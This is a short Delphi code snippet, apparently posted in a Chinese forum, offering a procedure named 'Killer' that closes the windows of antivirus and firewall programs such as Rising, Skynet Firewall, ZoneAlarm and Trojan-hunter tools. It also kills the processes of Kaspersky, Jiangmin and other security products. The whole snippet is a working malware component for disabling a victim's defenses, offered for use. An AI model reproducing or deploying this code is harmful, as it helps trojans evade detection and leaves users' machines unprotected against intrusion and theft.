这样就可以了
procedure Killer;
var
s, Desktop: integer;
str: array[0..100] of char;
begin
s := findwindow(pchar('RavMonClass'), pchar('RavMon.exe'));
Sendmessage(s, $0010, 0, 0);
s := findwindow('Tapplication', '天网防火墙个人版');
Sendmessage(s, $0010, 0, 0);
s := findwindow('Tapplication', '天网防火墙企业版');
Sendmessage(s, $0010, 0, 0);
s := 0;
Desktop := GetDesktopWindow;
repeat
s := findwindowex(Desktop, s, 'TForm1', nil);
getwindowtext(s, str, 9);
if str = '木马克星' then //IPARMOR.EXE
sendmessage(s, $0010, 0, 0);
until s = 0;
s := 0;
Desktop := GetDesktopWindow;
repeat
s := findwindowex(Desktop, s, 'TForm1', nil);
getwindowtext(s, str, 7);
if str = '噬菌体' then
sendmessage(s, $0010, 0, 0);
until s = 0;
s := findwindow(pchar('TfLockDownMain'), nil);
Sendmessage(s, $0010, 0, 0);
s := findwindow(pchar('ZAFrameWnd'), pchar('ZoneAlarm'));
Sendmessage(s, $0010, 0, 0);
Killpro('EGHOST.EXE');
Killpro('MAILMON.EXE');
Killpro('KAVPFW.EXE');
Killpro('KVXP.KXP');
Killpro('KVMonXP.KXP');
Killpro('IPARMOR.EXE');
killpro('ravmon.exe');
killpro('ravmond.exe');
killpro('ravtask.exe');
killpro('ccenter.exe');
end;